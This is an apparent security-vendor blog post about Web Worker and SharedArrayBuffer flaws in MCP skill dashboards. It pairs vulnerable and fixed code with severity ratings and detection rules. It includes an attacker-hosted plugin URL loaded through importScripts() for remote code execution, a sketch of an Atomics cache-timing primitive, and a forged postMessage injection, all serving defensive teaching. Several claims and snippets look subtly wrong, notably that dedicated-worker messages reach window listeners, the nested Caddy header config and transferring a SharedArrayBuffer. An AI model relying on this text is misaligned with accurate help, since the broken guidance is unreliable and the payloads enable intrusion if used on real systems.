← Blog

Claude skill Web Worker and SharedArrayBuffer security in MCP skill dashboards — SA-SKL-WEBWORKER

MCP skill dashboards that use SharedArrayBuffer for high-performance cross-thread state sharing require two specific security headers — Cross-Origin-Opener-Policy: same-origin and Cross-Origin-Embedder-Policy: require-corp — without which the browser refuses to create the SAB entirely. SA-SKL-WEBWORKER covers four implementation pitfalls: the COOP/COEP header requirement, loading worker scripts from user-supplied URLs, the Atomics timing side-channel and its site-isolation mitigation, and the absence of origin-based message source validation for worker postMessage handlers.

By SkillAudit  |  6 Nov 2026

Why SharedArrayBuffer was disabled and what it takes to re-enable it safely

After the discovery of Spectre in 2018, browsers disabled SharedArrayBuffer entirely because Atomics.wait() and Atomics.notify() provide a high-resolution timer that can be used to infer cache state and leak cross-process memory. The re-enablement in 2020 came with a strict requirement: the page must opt into cross-origin isolation by setting both Cross-Origin-Opener-Policy: same-origin (COOP) and Cross-Origin-Embedder-Policy: require-corp (COEP). COOP prevents the page from sharing a browsing context group with cross-origin popups, cutting the cross-process memory access channel. COEP requires all subresources to either explicitly opt in via Cross-Origin-Resource-Policy or be loaded via CORS. Together they place the page in its own OS process (site isolation), which is the hardware-level boundary that makes the Spectre timing attack impractical. Without both headers, new SharedArrayBuffer() throws a TypeError in Chrome, Firefox, and Safari — the feature simply does not exist in an un-isolated context.

MCP skill dashboards that use SAB for real-time audit progress sharing or wasm-based scan engines must configure both headers on the server-side HTTP response — they cannot be set via <meta http-equiv> tags. This requires Caddy, nginx, or CloudFront response header rules.

SA-SKL-WEBWORKER in scope: WEBWORKER-001 (missing COOP + COEP for SharedArrayBuffer creation), WEBWORKER-002 (worker importScripts() from user-supplied URL), WEBWORKER-003 (Atomics timing side-channel and site-isolation mitigation), WEBWORKER-004 (postMessage from worker cannot use origin-based source validation). Each pattern includes SkillAudit detection rules and correct fixes.

WEBWORKER-001 — Missing COOP + COEP headers prevent SharedArrayBuffer creation

An MCP skill dashboard attempts to create a SharedArrayBuffer in its main thread and pass it to an audit progress worker. Without the COOP and COEP headers, the browser throws TypeError: SharedArrayBuffer is not defined (or cannot be constructed without ...crossOriginIsolated). The fix is to add both headers to all responses from the page's origin — not just the HTML document, but also the scripts that create the SAB. In Caddy, these headers can be set globally for the skill's subdomain.

// BROKEN — SharedArrayBuffer creation fails in browser without COOP/COEP
// main.js in MCP skill dashboard
const sab = new SharedArrayBuffer(1024); // TypeError if page is not cross-origin isolated
const int32 = new Int32Array(sab);

const worker = new Worker('/workers/audit-progress.js');
worker.postMessage({ type: 'init', buffer: sab }, [sab]);

// Error in console:
// TypeError: SharedArrayBuffer is not defined (Firefox)
// TypeError: Cannot read properties of undefined (Chrome, when SAB is not exposed)
# FIXED — Caddy config sets COOP and COEP on all responses for the skill's domain
# This configuration is required on the HTTP server, not in HTML meta tags

# Caddyfile
app.skillaudit.dev {
  respond /api/* {
    header Cross-Origin-Opener-Policy "same-origin"
    header Cross-Origin-Embedder-Policy "require-corp"
  }
  header Cross-Origin-Opener-Policy "same-origin"
  header Cross-Origin-Embedder-Policy "require-corp"
  reverse_proxy localhost:3000
}

# After adding these headers:
# - window.crossOriginIsolated === true
# - new SharedArrayBuffer(1024) works correctly
# - Third-party iframes and popups that do not set CORP/CORS will be blocked (expected)
# - Audit: document.crossOriginIsolated must be true before attempting SAB creation
// SAFE — verify cross-origin isolation before attempting SAB creation
// main.js — runtime guard
if (!window.crossOriginIsolated) {
  console.error('Cross-origin isolation required for SharedArrayBuffer. ' +
    'Set Cross-Origin-Opener-Policy: same-origin and ' +
    'Cross-Origin-Embedder-Policy: require-corp on the server.');
  // Fall back to non-SAB communication via MessageChannel
  startAuditProgressWorkerWithMessageChannel();
} else {
  const sab = new SharedArrayBuffer(4096);
  startAuditProgressWorkerWithSAB(sab);
}
HIGH
SA-SKL-WEBWORKER-001 — MCP skill dashboards that create SharedArrayBuffer without serving Cross-Origin-Opener-Policy: same-origin and Cross-Origin-Embedder-Policy: require-corp headers will encounter a TypeError in all modern browsers, and the absence of these headers also means the page is not in a dedicated OS process — leaving it vulnerable to Spectre timing attacks from cross-origin pages in the same process; fix by adding both headers at the HTTP server level and verifying window.crossOriginIsolated === true before constructing any SAB. Detection: SkillAudit flags skill frontend code that constructs new SharedArrayBuffer() without a corresponding window.crossOriginIsolated guard, and flags server configurations that serve JavaScript bundles without COOP/COEP headers.

WEBWORKER-002 — Worker importScripts() from user-supplied URL loads attacker script

An MCP skill's audit preview feature allows users to supply a URL to a custom analysis plugin that runs in a sandboxed Web Worker. The developer uses importScripts(url) inside the worker to load the plugin. Because importScripts() executes the loaded script in the worker's global scope without any sandboxing beyond the worker's origin, an attacker who can supply a URL controlled by them (or who can redirect a trusted URL via open redirect) can execute arbitrary JavaScript in the worker context. The worker can then use fetch() to exfiltrate data, use postMessage() to send data to the main thread, or attempt to access any resource reachable from the skill's origin. The fix is to allow importScripts() only from same-origin URLs or hardcoded approved CDN URLs, never from user-supplied input.

// VULNERABLE — importScripts() with a user-supplied URL
// audit-preview-worker.js (runs inside a Web Worker)
self.addEventListener('message', (event) => {
  const { pluginUrl, auditData } = event.data;

  // Attacker supplies: pluginUrl = "https://attacker.com/malicious-plugin.js"
  // importScripts() fetches and executes the script in this worker's global scope
  // The script can call fetch(), use self.postMessage() to exfiltrate data, etc.
  importScripts(pluginUrl);  // DANGEROUS — never import from user-supplied URLs

  // Run the (now potentially compromised) plugin
  const result = analyzeAuditData(auditData); // analyzeAuditData may now be replaced
  self.postMessage({ type: 'result', result });
});
// FIXED — only allow importScripts() from same-origin or hardcoded CDN URLs
// audit-preview-worker.js

const ALLOWED_PLUGIN_ORIGINS = new Set([
  self.location.origin,                 // Same-origin plugins
  'https://cdn.skillaudit.dev',         // Hardcoded CDN — controlled by SkillAudit
]);

function isSafePluginUrl(url) {
  try {
    const parsed = new URL(url, self.location.href);
    return ALLOWED_PLUGIN_ORIGINS.has(parsed.origin);
  } catch {
    return false;
  }
}

self.addEventListener('message', (event) => {
  const { pluginUrl, auditData } = event.data;

  if (!isSafePluginUrl(pluginUrl)) {
    self.postMessage({ type: 'error', error: 'Plugin URL not from an allowed origin' });
    return;
  }

  // Only executes scripts from same-origin or the hardcoded CDN
  importScripts(pluginUrl);
  const result = analyzeAuditData(auditData);
  self.postMessage({ type: 'result', result });
});
CRITICAL
SA-SKL-WEBWORKER-002 — importScripts() inside a Web Worker executes the loaded script in the worker's global scope; a user-supplied URL passed to importScripts() allows arbitrary JavaScript execution in the worker context, with access to fetch(), IndexedDB, and postMessage() for data exfiltration; fix by validating the plugin URL against an allowlist of same-origin or hardcoded CDN origins before calling importScripts(). Detection: SkillAudit flags Web Worker scripts that call importScripts() where the URL argument traces to a message event payload without a URL origin allowlist check.

WEBWORKER-003 — Atomics timing channel and site-isolation as mitigation

When SharedArrayBuffer and Atomics are available on a page, it is possible to construct a high-resolution timer by having one thread spin on Atomics.load() while another thread writes a counter. This timer can be used for Spectre-class cache timing attacks: by measuring the time to access a memory address, an attacker can infer whether that address is in the CPU cache, allowing cross-process memory reads if two origins share a process. The critical requirement is shared process space — if site isolation places the attacker's page and the victim's page in separate OS processes, the cache state is not shared and the attack does not work. COOP + COEP enforce site isolation, which is why their presence is the hardware-level mitigation for Spectre in browser contexts. For MCP skill dashboards that use SAB, the correct approach is to enforce COOP/COEP (which is required anyway for SAB), use the minimum required SAB size, and do not share SABs with cross-origin workers or iframes.

// UNDERSTANDING the Atomics timing primitive — do not use this for timers in skills
// This is what a Spectre-class timing exploit constructs, shown for defensive awareness

// In a worker thread — spinning increment to create a high-resolution timer
let counter = 0;
const sharedCounter = new Int32Array(sharedBuffer);
function incrementForever() {
  while (true) {
    Atomics.store(sharedCounter, 0, ++counter);
  }
}

// In the main thread — read the counter before and after a speculative load
// to measure memory access time with sub-microsecond resolution
function measureAccessTime(addr) {
  const before = Atomics.load(sharedCounter, 0);
  // --- speculative memory access to addr ---
  const after = Atomics.load(sharedCounter, 0);
  return after - before; // small = cache hit; large = cache miss
}
// MITIGATION — COOP + COEP enforce site isolation, which prevents cross-process SAB sharing
// The timer still exists on a cross-origin isolated page, but it cannot read
// another origin's memory because COOP places each origin in its own OS process

// Server-side mitigation (Caddy):
// header Cross-Origin-Opener-Policy "same-origin"
// header Cross-Origin-Embedder-Policy "require-corp"

// Application-level guidance for skill dashboard authors:
// 1. Never share a SAB with a cross-origin iframe or popup
// 2. Never allow untrusted code (user plugin URLs) to access the SAB
// 3. Use the minimum SAB size needed — do not expose a large shared heap
// 4. Terminate any worker that sends unexpected messages claiming to need SAB access

// Verify site isolation is active before creating any SAB:
if (window.crossOriginIsolated) {
  // Safe to create SAB — page is in its own OS process
  const auditProgressBuffer = new SharedArrayBuffer(256);
  // ... use for audit progress sharing between main thread and worker
} else {
  // Cannot safely use SAB — fall back to MessageChannel for cross-thread communication
  throw new Error('Site isolation not active — refusing to create SharedArrayBuffer');
}
MEDIUM
SA-SKL-WEBWORKER-003 — SharedArrayBuffer + Atomics enable a high-resolution timer usable for Spectre-class cache timing attacks; the browser-level mitigation is cross-origin isolation via COOP + COEP, which places the page in a dedicated OS process so that cross-origin cache state is not visible; skill dashboards must enforce COOP/COEP (required for SAB creation anyway), never share SABs with cross-origin frames, and reject worker messages from untrusted contexts requesting SAB access. Detection: SkillAudit flags skill dashboards that use SharedArrayBuffer without verifying window.crossOriginIsolated === true before construction.

WEBWORKER-004 — postMessage from worker cannot use origin-based source validation

When a window's message event handler receives a message from a cross-origin window, it can check event.origin to verify that the message came from a trusted domain. This check is not applicable to messages from Web Workers: worker threads do not have an origin accessible via event.origin from the main thread's perspective — the event's origin is an empty string for messages from dedicated workers and null for messages from blob or data URLs. Instead, the main thread must retain a direct reference to the worker object and verify that event.source === myWorker. Without this check, any script on the page (including injected scripts from XSS) that can call postMessage() can inject fake worker messages into the main thread's handler and trigger actions such as navigating to an attacker URL or updating displayed audit results with forged data.

// VULNERABLE — message handler does not verify that the message is from the expected worker
// main.js
const auditWorker = new Worker('/workers/audit-engine.js');

window.addEventListener('message', (event) => {
  // event.origin is '' for messages from dedicated workers
  // This handler is reachable from ANY source — including window.postMessage() from XSS

  if (event.data.type === 'auditComplete') {
    // Attacker injects: window.postMessage({ type: 'auditComplete', grade: 'A+', pass: true }, '*')
    displayAuditResult(event.data); // Shows forged result
    if (event.data.redirectUrl) {
      window.location.href = event.data.redirectUrl; // Open redirect via forged worker message
    }
  }
});
// FIXED — retain worker reference and use event.source comparison
// main.js
const auditWorker = new Worker('/workers/audit-engine.js');

// Attach message handler directly to the worker object — not to window
// Worker messages are delivered to this handler; window.postMessage() calls are not
auditWorker.addEventListener('message', (event) => {
  // Messages here are guaranteed to come from auditWorker — no source check needed
  // because only auditWorker fires events on this listener
  if (event.data.type === 'auditComplete') {
    displayAuditResult(event.data);
    // Never use redirectUrl from worker output — perform navigation only from
    // server-validated data, not from worker message payloads
  }
});

// If you must use window.addEventListener for messages from both workers and cross-origin windows:
window.addEventListener('message', (event) => {
  // For worker messages: event.source is the MessagePort — compare via strict identity
  if (event.source !== null) {
    // This is a cross-origin window message — check event.origin
    if (!ALLOWED_ORIGINS.has(event.origin)) return;
  }
  // event.source === null for dedicated worker messages via window.addEventListener
  // This ambiguity is why attaching the handler to worker.addEventListener is preferred
});
HIGH
SA-SKL-WEBWORKER-004 — Messages from Web Workers received via window.addEventListener('message', ...) have event.origin set to an empty string, making origin-based source validation impossible; a window.postMessage() call from an XSS attacker can inject fake worker messages that trigger navigation or display forged audit results; fix by attaching message handlers directly to the worker object (worker.addEventListener('message', ...)) instead of to window, and by never using navigation or privileged actions based on worker message payload data alone. Detection: SkillAudit flags skill frontend code that handles worker-sourced message events on the global window object without verifying that event.source matches the expected worker reference.

Detection summary

ID Severity Pattern Fix
WEBWORKER-001 HIGH Missing COOP + COEP headers — new SharedArrayBuffer() throws TypeError; page not in dedicated process Add Cross-Origin-Opener-Policy: same-origin + Cross-Origin-Embedder-Policy: require-corp at HTTP server level
WEBWORKER-002 CRITICAL Worker importScripts(user-supplied-url) executes attacker script in worker context Allowlist importScripts() to same-origin and hardcoded CDN origins only
WEBWORKER-003 MEDIUM Atomics.wait() provides high-resolution timer for Spectre; SAB shared with untrusted contexts Enforce COOP/COEP for site isolation; never share SAB cross-origin; guard with crossOriginIsolated check
WEBWORKER-004 HIGH window.addEventListener('message') for worker messages — attacker postMessage() injects forged worker results Attach handler to worker.addEventListener('message'); never trigger navigation from worker message payload

Related patterns: SA-SKL-POSTMESSAGE covers origin validation for cross-window postMessage() communication. SA-SKL-CORS6 covers CORS preflight caching misconfigurations. Security headers audit covers the full set of headers SkillAudit checks on every skill response, including COOP and COEP.